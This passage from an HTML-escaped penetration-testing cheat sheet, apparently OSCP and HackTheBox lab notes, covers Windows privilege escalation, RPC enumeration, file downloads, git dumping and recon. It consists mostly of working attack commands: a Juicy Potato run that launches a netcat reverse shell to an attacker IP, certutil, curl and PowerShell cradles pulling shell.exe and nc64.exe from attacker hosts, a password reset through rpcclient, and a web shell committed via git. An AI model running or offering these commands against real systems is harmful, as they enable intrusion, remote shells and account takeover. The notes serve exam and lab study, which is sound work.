x64&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h3 id="54standard-windows-privilege-escalation"&gt;&lt;a href="#54standard-windows-privilege-escalation" class="header-anchor"&gt;&lt;/a&gt;54.Standard Windows Privilege Escalation&#10;&lt;/h3&gt;&lt;ol&gt;&#10;&lt;li&gt;Juicy Potato Privilege Escalation&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://github.com/k4sth4/Juicy-Potato/blob/main/x64/jp.exe" target="_blank" rel="noopener"&#10; &gt;https://github.com/k4sth4/Juicy-Potato/blob/main/x64/jp.exe&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://github.com/ohpe/juicy-potato/blob/master/CLSID/README.md" target="_blank" rel="noopener"&#10; &gt;https://github.com/ohpe/juicy-potato/blob/master/CLSID/README.md&lt;/a&gt; # find the CLSID for the matching version&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://www.cnblogs.com/J0o1ey/p/15714555.html" target="_blank" rel="noopener"&#10; &gt;https://www.cnblogs.com/J0o1ey/p/15714555.html&lt;/a&gt; Detailed tutorial&lt;/p&gt;&#10;&lt;ol&gt;&#10;&lt;li&gt;Check whether the default RPC port is 135. If it has been changed (for example, to 111), use the juicypotato parameter -n 111 to specify the RPC port.&lt;/li&gt;&#10;&lt;li&gt;Run whoami /priv to check whether the current user privileges meet the requirements.&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;p&gt;If SeImpersonate is enabled, use -t t with juicypotato.&lt;/p&gt;&#10;&lt;p&gt;If SeAssignPrimaryToken is enabled, use -t u with juicypotato.&lt;/p&gt;&#10;&lt;p&gt;If both are enabled, use -t *.&lt;/p&gt;&#10;&lt;p&gt;If neither is enabled, privilege escalation is not possible.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer" target="_blank" rel="noopener"&#10; &gt;https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer&lt;/a&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;echo START C:\Users\Destitute\nc64.exe -e cmd.exe 10.10.16.14 5555 &amp;gt; shell.bat&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;.\jp.exe -t t -p .\shell.bat -l 1118 -c &amp;#34;{0134A8B2-3407-4B45-AD25-E9F7C92A80BC}&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;ol start="2"&gt;&#10;&lt;li&gt;&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;h3 id="55impacket-parameters"&gt;&lt;a href="#55impacket-parameters" class="header-anchor"&gt;&lt;/a&gt;55.impacket Parameters&#10;&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;smbserver.py kali . -smb2support #Enable SMB2&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python smbpasswd.py tlavel@10.10.10.193&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h3 id="56rpc-enumeration"&gt;&lt;a href="#56rpc-enumeration" class="header-anchor"&gt;&lt;/a&gt;56.RPC Enumeration&#10;&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;rpcclient -U &amp;#34;&amp;#34; -N 10.10.10.248&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;rpcclient -U &amp;#34;tlavel%9VwzPigFmknx&amp;#34; -c &amp;#39;enumdomusers;enumdomgroups;enumjobs;enumkey;enumports;enumprinters;enumprivs;enumtrust;enumforms;enumdrivers;quit&amp;#39; 10.10.10.193&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;rpcclient -U &amp;#34;oscp.exam/celia.almeda%e728ecbadfb02f51ce8eed753f3ff3fd&amp;#34; -N -c &amp;#39;enumdomusers;enumdomgroups;enumjobs;enumkey;enumports;enumprinters;enumprivs;enumtrust;enumforms;enumdrivers;quit&amp;#39; 10.10.132.140&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# View all users&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;enumdomusers&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# View all groups&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;enumlsgroups&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Query which groups a user belongs to&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;queryusergroups&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;queryusergroups 0x46c&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# The IT group can change passwords&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# A misconfigured permission may allow password changes&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;setuserinfo christopher.lewis 23 &amp;#39;Admin!23&amp;#39;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;setuserinfo2 christopher.lewis 23 &amp;#39;Admin!23&amp;#39;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;setuserinfo3 christopher.lewis 23 &amp;#39;Admin!23&amp;#39;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;This can connect through WinRM&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h3 id="57windows-download"&gt;&lt;a href="#57windows-download" class="header-anchor"&gt;&lt;/a&gt;57.windows download&#10;&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe iwr http://10.10.16.14:33333/ncexe/nc64.exe -OutFile .\nc64.exe&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;curl http://10.10.16.2:33333/frp/frpc.exe -o .\frpc.exe&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;certutil -urlcache -split -f http://10.10.16.2:33333/Fuse/shell.exe C:\test\shell.exe&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h3 id="58git"&gt;&lt;a href="#58git" class="header-anchor"&gt;&lt;/a&gt;58.git&#10;&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;span class="lnt"&gt;19&#10;&lt;/span&gt;&lt;span class="lnt"&gt;20&#10;&lt;/span&gt;&lt;span class="lnt"&gt;21&#10;&lt;/span&gt;&lt;span class="lnt"&gt;22&#10;&lt;/span&gt;&lt;span class="lnt"&gt;23&#10;&lt;/span&gt;&lt;span class="lnt"&gt;24&#10;&lt;/span&gt;&lt;span class="lnt"&gt;25&#10;&lt;/span&gt;&lt;span class="lnt"&gt;26&#10;&lt;/span&gt;&lt;span class="lnt"&gt;27&#10;&lt;/span&gt;&lt;span class="lnt"&gt;28&#10;&lt;/span&gt;&lt;span class="lnt"&gt;29&#10;&lt;/span&gt;&lt;span class="lnt"&gt;30&#10;&lt;/span&gt;&lt;span class="lnt"&gt;31&#10;&lt;/span&gt;&lt;span class="lnt"&gt;32&#10;&lt;/span&gt;&lt;span class="lnt"&gt;33&#10;&lt;/span&gt;&lt;span class="lnt"&gt;34&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;git-dumper http://192.168.165.144/.git/ output_dir&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Stage new files in Git&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;git add shell.aspx&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Commit changes&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;git commit -m &amp;#34;add shell.aspx&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Push changes&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;git push origin main&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;git show #View all commits&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Stage all changes:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;git add . # Stage all changes in the current directory&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;git add -A # Stage all changes, including deleted files&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Stage specific files:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;git add file1.txt file2.txt # Stage multiple specified files&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;git add *.txt # Stage all .txt files&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Similar choices are available when committing:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;git commit -m &amp;#34;message&amp;#34; # Commit all staged files&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;git commit file1.txt -m &amp;#34;message&amp;#34; # Commit a specific file&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;git commit -am &amp;#34;message&amp;#34; # Automatically stage and commit all tracked changes&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Normal commit&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;git add .&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;git commit -m &amp;#34;test&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;git push&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Private-token authentication&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;git remote set-url origin https://oauth2:GITLAB_ACCESS_TOKEN_REDACTED@10.20.174.14/your-group/your-project.git&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;git remote set-url origin http://oauth2:GITLAB_ACCESS_TOKEN_REDACTED@10.20.174.14/skylark-rd/scratchpad&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;https://juejin.cn/post/7021023267028729887&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h3 id="59exiftool-metadata-analysis"&gt;&lt;a href="#59exiftool-metadata-analysis" class="header-anchor"&gt;&lt;/a&gt;59.ExifTool (Metadata Analysis)&#10;&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ExifTool 1.pdf&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ExifTool -a -u 1.pdf&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h3 id="60synchronize-the-clock-time"&gt;&lt;a href="#60synchronize-the-clock-time" class="header-anchor"&gt;&lt;/a&gt;60.Synchronize the Clock (Time)&#10;&lt;/h3&gt;&lt;p&gt;&lt;a class="link" href="https://gitlab.com/NTPsec/ntpsec/-/issues/292" target="_blank" rel="noopener"&#10; &gt;https://gitlab.com/NTPsec/ntpsec/-/issues/292&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://askubuntu.com/questions/429306/ntpdate-no-server-suitable-for-synchronization-found" target="_blank" rel="noopener"&#10; &gt;https://askubuntu.com/questions/429306/ntpdate-no-server-suitable-for-synchronization-found&lt;/a&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ntpdate -u htb.local &amp;amp;&amp;amp; date&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ntpdate -u htb.local -6 &amp;amp;&amp;amp; date&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ntpdate -u htb.local -4 &amp;amp;&amp;amp; date&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;rpcclient -U &amp;#34;&amp;#34; -N htb.local&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;rpcdump&amp;gt; gettime&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;net time -S htb.local&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;rdate -n htb.local&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;#Synchronize&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;date -s &amp;#34;Sat Dec 7 05:14:11 2024&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;date&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h3 id="61windows-read-the-microsoft-defender-exclusion-list"&gt;&lt;a href="#61windows-read-the-microsoft-defender-exclusion-list" class="header-anchor"&gt;&lt;/a&gt;61.Windows: Read the Microsoft Defender Exclusion List&#10;&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;reg query &amp;#34;HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions&amp;#34; /s&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h3 id="62oscp-notes---information-gathering"&gt;&lt;a href="#62oscp-notes---information-gathering" class="header-anchor"&gt;&lt;/a&gt;62.OSCP Notes - Information Gathering&#10;&lt;/h3&gt;&lt;p&gt;WHOIS listens on port 43.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;whois 38.100.193.70 -h 192.168.50.251&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;whois megacorpone.com -h 192.168.50.251&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;whois megacorpone.com -h 192.168.131.251&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Google: use the Google crawler for information gathering.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# Filter files with a .txt suffix&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;site:megacorpone.com filetype:txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# Exclude files with an .htlm suffix&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;site:megacorpone.com -filetype:html&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# The above is only a small sample; the command below can find much more information&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;https://www.exploit-db.com/google-hacking-database&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;https://dorksearch.com/&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;site:megacorpone.com intext:VP Of Legal&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;host&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" 